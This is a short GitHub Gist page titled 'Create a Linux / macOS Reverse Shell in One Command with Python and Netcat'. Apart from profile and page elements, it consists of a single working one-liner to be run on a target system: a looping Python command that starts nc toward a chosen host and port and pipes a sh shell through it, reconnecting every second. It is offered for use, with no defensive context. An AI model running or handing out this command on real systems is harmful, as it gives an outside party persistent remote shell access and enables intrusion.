Skip to content

Instantly share code, notes, and snippets.

View onionj's full-sized avatar
🧅
Onion!

Saman Nezafat onionj

🧅
Onion!
View GitHub Profile
@onionj
onionj / reverse_shell.md
Last active February 14, 2024 17:25
Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Simple Method:

On the target system, execute the following command (replace HOST with your server's IP or domain):

while :; do python3 -c "HOST='localhost'; PORT='12012'; SHELL='sh'; import datetime; print(datetime.datetime.now(),'connecting to',HOST,PORT);import subprocess; nc_process=subprocess.Popen(['nc', HOST, str(PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); sh_process=subprocess.Popen([SHELL], stdin=nc_process.stdout, stdout=nc_process.stdin, stderr=nc_process.stdin, text=True); nc_process.wait(); sh_process.kill()"; sleep 1; done